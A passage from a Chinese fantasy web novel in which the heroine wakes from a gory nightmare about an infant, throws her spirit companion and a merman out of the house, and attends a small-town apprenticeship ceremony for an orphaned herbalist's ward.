岑让川当即翻了个大白眼,直接问他:[你是不是想肛他?]
[严森:!!!]
[严森:我没有!!!]
[岑让川:那你约他约那么勤干嘛?]
自从严森把鲛人送回宅子后,三天两头以不同名义来请人出去一块玩。
上星期的借口,一个是家里做了鲜花饼,一个是去市里玩电玩。
再上上个星期是去网吧打游戏或是玩剧本杀。
[严森:……我不约他行了吧!你表弟有空吗?]
银清?
岑让川屈起腿,往床内侧翻了个身。
脚下蓦地踩到个软绵绵的东西,她掀开被子去看,一团毛茸茸的东西在她脚底蠕动,看不清是什么,只知道是黑色的。
岑让川以为是银清那只许久未见的黑猫分身,一脚给它挪远。
未料到对方四肢并用,死死抱住她的脚踝。
它像剥壳鸡蛋,触感柔滑细腻,一丝毛绒感都无,甚至……有点湿漉漉的,更接近人类头发……
有点不对劲……
岑让川僵住,机械性地转过手机屏幕往被窝里探。
似是感受到光亮,那团黑色蜷缩成团,死死将脸埋进她腿里。
异样的冰凉顺着腿骨慢慢传来,鸡皮疙瘩被激起大片,寒意渗入经脉,仿佛血液中结出冰碴。
光线近了……
更近了……
四周寂静无声,连风声都听不到半点。
擦拭干净的红木家具静静立于原地,陈旧深重的色彩在昏暗中压抑又庄严,似一座座矗立的大山,令人喘不过气。
正对床面的办公桌上,一面小小的镜子仰对房梁,映照出几团涌动的黑气,一双眼睛状的不明物从中探出,静静窥视底下发生的这一切。
完全区别于黑猫的毛发分布……
她用手机灯光照下去,只看到对方的头顶。
像一层包裹圆状物的人皮,扎满细细密密的孔洞。不及一寸的短发发囊深深扎入这层皮中,透明乳白夹着血丝的半流动液体在这层皮上来回从顺时针旋转的孔洞中心流出又干涸。
整块头皮似在呼吸那般张开紧缩,看得人恶心地要命。
岑让川终于看清楚,自己被窝里不知何时进来了一个婴孩头颅!
她惊骇地甩动脚踝,用力把它踹向墙壁。
脊骨与头颅顿时崩裂,后颈处白骨撑破幼嫩皮肤,折出骇人的尖角。
“哇啊啊——哇——啊——”
婴儿啼哭声响彻卧室。
它甩动四肢,后颈椎歪折,头颅诡异地歪斜至一边,双眼没有眼珠,流出两道血泪朝自己爬来。
暗红流出,在它膝盖下爬出蜿蜒曲折的血迹。
从它身上弥漫出一股腥臊腐臭气息,还夹着浓烈血腥。
岑让川吓得掉下床,背后撞在书桌腿上,上方摆放在边沿的镜子霎时摇摆着掉落,碎裂成无数镜片。
皎洁月色洒满碎镜,反射出无数光芒。
婴孩啼哭着从床上掉下,还未剪掉的脐带不知何时捆在她脚踝。
布满胎毛的脑袋上,羊水与血液重复冲刷它的头皮,毛囊像一张张张开的、密密麻麻的小嘴,吞吃空气。
终于,它爬到她身上。
张开布满是尖牙的口腔,将她肚皮撕开一条缝,钻了进去……
“啊!”
一声急促的惨叫声响起。
正对大床的镜子上两道身影一前一后坐起。
岑让川额头上的冷汗顺着脸颊落下,滴在薄被上,现出一大滴湿润水点。她伸手捂住额头,喘息着想要平复过快的心率。
刚刚……
是梦吗……
她什么时候睡过去的?
为什么会做这样的梦?
“你……怎么了?”
熟悉的声音从旁传来。
银清不知道她怎么了,现在他又看不到,坐在一旁利用屋内植物去感知她的动静,从而判断她的处境。
岑让川掀开被子,看到自己腿上没有任何异样,又去检查自己身体。
很好,都很正常。
明天预约个手术把自己子宫切了吧……
她吓得魂不附体,恨不
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得现在就奔去手术室把这个器官取出来。
银清蹙眉:“你不舒服吗?”
“你什么时候过来的?”现在这个时候,她不是很想看到任何雄性动物。
雄树也不行。
刚刚梦境太过真实吓人,弄得她现在恐孩的同时还恐男。
“……你睡着后。”银清假意不知几个小时前两人还在冷战,摸索着想去给她把把脉,却被她用力甩开。
“走开,别碰我。”她太害怕跟银清接触,生怕这个非人用她不知道的方式弄出个新鲜到从胎盘里撕出的孩子。
觉察到她的抗拒,银清沉默着下床,坐在窗边也不靠近,留她在床上恢复心跳。
手机亮起,屏幕显示凌晨三点半。
最后一个软件还停留在微信界面。
[严森:我真不是觊觎你堂弟,我跟你发誓我不是gay,不然我死一户口本。上次我送你堂弟回家,感觉他和你表弟一样,看起来不经常跟人交际,我才想邀请他们的。多个朋友多条路嘛。但我确实也有私心……能不能帮我问下你堂弟表弟用的什么护肤品?噢,对了,还有你堂弟上次出cos用的白毛哪家的?看起来质感真的好好QAQ,我想出个白毛魔女的角色,球球你帮我问问。]
搞半天是个死宅哥……
她真以为这小子爱上鲛人了。
岑让川按住眉心,根本不想理他。
察觉到她情绪缓和下来,他不禁问:“要喝热水吗?”
“不用……”岑让川犹豫片刻,到底没问出口,转而问他,“你分身解决了吗?”
她问的是黑衣银清。
“没有。”银清敛眸,“他异化了,我……无法完全吞噬。”
“算了,比起那个,你有没有能绝育的药丸?”
目前这个才是重点。
刚刚梦到婴孩钻入她腹中,岑让川生怕是传说中的胎梦。
生小孩可怕……
带小孩可怕……
连小孩本身也很可怕……
“绝育?”银清疑惑,“你不需要那种药,你本来就是无孩终老的命格。你要是想的话……”
他走下窗台,月色恍若在他身上披盖薄纱,清冷到出尘不染。
那双琥珀色眼眸在黑夜里如卷起风雾,朦朦胧胧看不清他真实情绪。他好似有千言万语想说,又不知为何,一字未吐。
“你和我在一起,只要你不说要。我永远听你的,好不好?”银清拉起她冰凉的手放在自己脸侧,蹭了又蹭,长长的睫毛扫过她的虎口,又凉又痒。
岑让川现在看到他都有点心里发毛:“你究竟……怎么生孩子?”
太离谱了。
男人生孩子也太离谱了。
不论是生理上还是其他因素。
但之前听他的意思,似乎在千年前稀疏平常。
银清轻轻在她食指上咬了口,舌尖舐过留下一点水痕,嗓音些微喑哑:“千年前,妖族地界有口凤泉,只要男子饮下一口,当夜与心爱女子拥吻,便可怀女胎。我以千金买下十瓶,如今只需你一滴血便能受孕。让川,你,不想吗?”
他凑近,似引诱,似蛊惑,将她的手贴在他的小腹。
岑让川听到最后一句,瞬时从无边美色中清醒过来。
她起身,抱起他下楼。
正当银清美滋滋地以为自己美人计实行成功,装着含羞带怯以为她今夜要以天为被地为床激烈云雨一番的时候,岑让川二话不说用力把他丢出门外。
“扑通”一声,屁股比脑子先着地。
银清:?
主屋小楼大门关上,没过五秒复又打开。
“让川……”银清不信自己屡试屡成的美人计失败,装作柔弱地喊了声。
下一秒,银白色身影也从里面飞出,正巧砸到银清脚边。
鲛人“哎哟”痛叫一声,和他一块掉落的还有满地零食碎屑。
两扇大门重重关上。
屋内,装满零食的柜子尽数打开,连自热火锅的调料也被吃得干干净净。
岑让川拳头都硬了。
52. 拜师仪式
家里三个。
一个不知死活。
一个只饮风露。
一个饕餮转世。
岑让川有储备粮食的习惯,就算被关在家里一个月都不用担心。
现在全被鲛人吃干净……
满地残渣碎屑,泡面饼干、火腿肉干、坚果饮料等通通只剩下塑料皮包装。为了不被发现,鲛人还十分心灵手巧地复原它们生前样貌,乍一看根本发现不了食物已全没了,但只要伸手一碰,那些包装就会彻底变成一滩薄皮。
既然这么心细如发,她给鲛人找点手工活干吧……
然后配个手机,让他自个去网上买吃的。
不然按他这个食量,别说一百万,五百万也顶不住……
至于他的主体银清。
指望不了一点。
现在两人能和平相处,还是那次分裂时鲛人对他有救命之恩。
让银清这个残疾树多做一个人的饭菜,他估计今晚就能磨刀给鲛人刮鳞片,明天或许就能吃到清蒸鲛人、煎炸鲛人、红烧鲛人……
岑让川摊开躺椅,床她是暂时不敢睡了,干脆在一楼窗边躺下继续补眠。
她实在不想承认,自己现在虽然不想见到银清,但刚经历完一场噩梦,整个宅子她能信任的只有他。
正想着,窗边跃进来一个小东西。
许久未见的黑猫睁着一双绿幽幽的大眼睛蹭到她怀里,刚要发出猫叫,岑让川伸手把它的嘴夹住,手动消音。
“闭嘴,不然我给你丢出去。”
银清:“……”
她果然只喜欢毛茸茸!
下半夜平安无事度过。
已是秋季,昼夜均分。
天色亮起,些许薄阳撒下,照得满地碎金婆娑。
手机在近处架子上发出“嗡嗡”响动。
一只手伸来,直接摁灭。
光线过于明亮,岑让川把薄毯拉高,盖住脑袋,彻底将自己重新埋入黑暗。窝在她怀里的黑猫抬起头,听到外面动静后不动声色跃下躺椅,跳上窗台后离开。
不多时,宅门外传来敲锣打鼓声。
因着门外距离主屋小楼还有段距离,喧闹并未太过扰人。
但声音实在过于持久,岑让川忍了半晌,换了个姿势想继续睡。结果才眯三秒不到,响起了唢呐……
魔音贯耳。
薄毯被奋力掀开,岑让川气得直挠头。
她打开手机查看时间,又骂了句脏话。
又不是什么节日,更不是初一十五祭神的日子,为什么会这么热闹?
听动静似乎还就在宅子外。
手机再次震动。
[严森:???]
[严森:你表弟会中医你怎么不告诉我?]
[严森:白芨拜师你怎么没来?你不会在睡觉吧?这么热闹别睡了,等会有拜师饼吃,嬢嬢们四点钟知道白芨要拜师后起来做的,很好吃的!]
他大爷……
她就说怎么这么吵……
反正也睡不着,岑让川干脆起身洗漱处理最近的订单,顺带去凑热闹。
她打包好快递,约上快递让他下午过来,结果以前回复巨慢的小哥这次秒回信息。
[AAA顺丰快递:你现在就拿出来呗,我在看拜师会,她们说白芨拜师的是你表弟,年纪轻轻的可厉害了。]
啊?
消息这是以讹传讹传到哪个份上了?
岑让川想到银清的身份,忙拿个黑色塑料袋把快递一股脑装进去就穿上拖鞋出门。
刚穿过沿廊旁的小路,鲛人从月洞门处探出半个身子,似乎对外面的热闹也很是好奇。
“你要出去吗?”岑让川提着大袋子问。
鲛人摇头,语速极快:“不出去,只是听到你的脚步声了,三份炒米粉,十个包子谢谢!”
“……”她成带饭员了是吧?
看出她的不情愿,鲛人把早就准备好的珍珠放到地上,矜持地说:“当然,再加三杯豆浆那是最好的。”
“你每天呆这里不无聊吗?”岑让川走过去捡起来。
她掂了掂重量,仔细查看。虽然没有那么极品,而是不规则的巴洛克珍珠,但看品相也能勉勉强强卖个八九百。
“不无聊,我每天光是梳头发敷珍珠粉就要花费好长时间,还要帮银清清点金库,整理书卷,可忙了。偶尔还要跟青蛙蝴蝶小鱼聊聊天交流情报……喂,喂!你怎么不听人说完就走!你不想知道金库在哪吗?”
鲛人想跟她多说话,免得收了自己的珍珠不干事。
岑让川果然回来了,蹲下身问:“在哪?”
“就在银杏树下边,银清棺椁旁的密室。三份炒米粉,十个包子,三杯豆浆!别走!零食柜补齐啊!有关他书卷的藏身地点你不想知道吗!”
她再中计她就是猪!
狼来了的套路使用过一次后岑让川怎么可能被骗第二次。
鲛人见她头也不回地绕过壁照,忙喊:“酥酥脆脆小饼干酸菜金汤肥牛奶皮子即食菌菇手剥笋坚果巧克力米线火锅雪花酥油炸花生虎皮鸡爪星球杯果冻辣条沙琪玛……!”
竟连个停顿都没有。
岑让川懒得回应,把门一关,彻底将鲛人嘶喊声隔绝在门内。
宅子外从未如此热闹。
仅一桥之隔,桥对面围满了人。
连接两地的桥面最高处,一张红木椅上坐了个人,岑让川眯眼望去,竟是银清。在他两边居然还有白发苍苍的老人作陪。
桥墩处,甚至蹲着两对红金色舞狮,敲锣打鼓吹唢呐乐队一个不少,隆重地跟商场开业似的。
她出来的时机恰到好处,正进行到最高潮。
白芨穿着一身红色中式服装,拿着托盘走上桥面,郑重跪在银清面前。
她一跪下,锣鼓喧天登时消失,连围观的街坊邻居们的说话声都自动自觉停止,严肃望向桥面上的人。
“师傅在上!”白芨声音几乎是嘶吼出来的,吐字清晰,哪怕隔这么远岑让川都能听得一清二楚。
这声清脆的少女喊声一出,剩下的窃窃私语也尽数消失。
今日天气晴好。
正是清晨,日光并不猛烈。
温温柔柔地洒下大片光亮,带走夜里残留的露水。
他们所在桥面没有任何树荫遮挡,完全照耀在阳光下。
也不知是不是有所准备,银清今日穿着银白色略带浅米色长衫,被光照地微微泛起一层薄光,连带着他本人都似乎笼罩在一层寒芒雾色中,清冷到竟有几分圣洁。
跪在他面前的白芨小脸仰着,清秀小脸绷得极紧,双目直视高位上的人,暗红色衣物衬得她气血红润,似乎连吐出的话都掷地有声,令人不由屏息凝神去听。
“弟子白芨曾师从张瑜奶奶十年,然学艺不精,资质鲁钝,未得张瑜奶奶全数真传。今日拜于岑家门下,望师父不嫌弃弟子愚笨。良师如指路明灯,弟子白芨将竭尽所能,承袭师道,随师学艺,精进技艺。请师父饮茶!”
岑家门下?
岑让川疑惑,银清不是姓银吗?
他千年前叫什么来着?
似乎提到过叫什么林清?
等等,白芨不会把银清的姓……
岑让川张大嘴,想赶紧给他们纠正过来银清不是跟她姓,但情况明显是来不及了……
银清淡定地接过茶盏,优雅地抿了口放下,然后开始说些师门规矩。
也不知道他哪来的师门……
岑让川嘴角抽了抽。
口袋手机再次震动。
[AAA顺丰快递:我看到你了!这边桥堵着,你往后走走,还有座桥。我到那等你。]
岑让川侧过头看去,穿着制服的小哥用力朝她挥手,往后指了指。她点点头,忙去和他汇合交接。
算了。
还是不说了。
自己对外宣传银清是自
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己表弟,那跟自己同样的姓氏不很正常吗?管这么多干什么,他自己都不急。
岑让川发完快递,远处也已进入尾声。
她应付快递小哥几句后本想去最近的市场买点存货,手机却不适宜地再次震动,一看屏幕上的名字,严森。
[严森:我在你两点钟方向,一块去拿拜师饼呀~]
岑让川叹口气,转头去寻,视线来回逡巡两圈,总算看到人群中和她招手的秦叔和严森。
苏明空被严森抱着,手里拿着本图画书。
图画书?
岑让川脑中灵光乍现,阴险地笑出声。
既然带孩子难不着银清。
那就试试地狱级难度的带孩子,包管血压飙升、歇斯底里那种。
她心里憋着坏,欢快地跑过去,和严森一块去排队。
拜师饼限量,一人只能拿一个。
白白的饼皮下包着束脩六礼,是甜口的,倒是不难吃。
四人咀嚼着饼,被烫得直往外呼气。
闲着没事,便聊起今日的事情。
镇子上很少有办这么大型的拜师会。
平时孩子学艺拜师都是走个过场,哪有这么热闹?
秦叔说只有张家是特殊的。
张瑜奶奶在镇子上替人看病几十年,医术高明,名声远扬,连中医院院子都曾来请过她去更好的地方发展。她却执意守在这物质匮乏的小镇上。
她曾解释过为什么自己会留在这。
大城市资源集中,她的出现也不过是锦上添花。
但留在这资源匮乏的小镇上,才能实现她个人的最大价值。
似乎几十年前的人思想都是这样,不求回报,乐于奉献。
也因此,张奶奶留下的福祉在她过世后,依然保护着白芨。
街坊邻居都在尽自己所能照顾着她的遗孤,哪怕白芨和她并没有任何血缘关系。
“奶奶之前是这样,捡到白芨后就不一样了。”秦叔接过苏明空,让她坐在自己看腿上,把饼掰开一小块一小块喂她,“小心烫,自己吹吹。为了白芨,终于不当老好人,我们劝过多少次让她涨价,不听,五块钱看一个人,有时候还要倒贴药钱。有白芨之后,涨到十块钱,这些年好不容易凑齐白芨上大学费用。”
听到这,严森想起一件事:“对了,我们都商量九月份白芨开学,一块送她到市里,你要一起吗?”
严森眼睛亮晶晶地看着岑让川:“她是孤儿,我想着不能让她被欺负,张奶奶虽然去世了,我们这群哥哥姐姐还在呢。”
岑让川想了想,不确定那时自己会不会有事耽搁,便含糊道:“等那天看看情况吧。”
严森没把她的犹豫当拒绝:“那行,等那天我再问你。”
他们聊到这,拜师仪式已经结束。
舞狮来了最后一场谢幕演出。
锣鼓唢呐齐响,震得人听不清身旁人说话。
岑让川抓紧时间给鲛人买早餐,带着苏明空先回了宅子。
等到银清回来时,满身鞭炮燃尽的火药味。
离近了看,才能看到浅米色长衫上绣了银丝银杏叶。
岑让川没看他,抱着苏明空教她学拼音。
银清没想到今天还会看到苏明空,不由一愣,脱口而出问:“她怎么还在?”
岑让川翻过一页,漫不经心道,“秦叔被刘庆远撞骨折,噢,就是你非要我上山开棺那会。叔六周后才能去医院拆石膏,我帮他带带。正好,你不是喜欢孩子吗?来,她交给你了,教她拼音和加减乘除吧。”
说完,岑让川抱起苏明空往银清怀里送。
苏明空很是配合,八爪鱼似的扒在他身上,礼貌地喊:“叔叔。”
叔叔?
叔叔!
银清拧眉,自己今天这一身有这么老吗?
他去看岑让川的脸色,她却根本不在乎苏明空喊了什么,嘴角若隐若现的笑意笑得跟狐狸似的。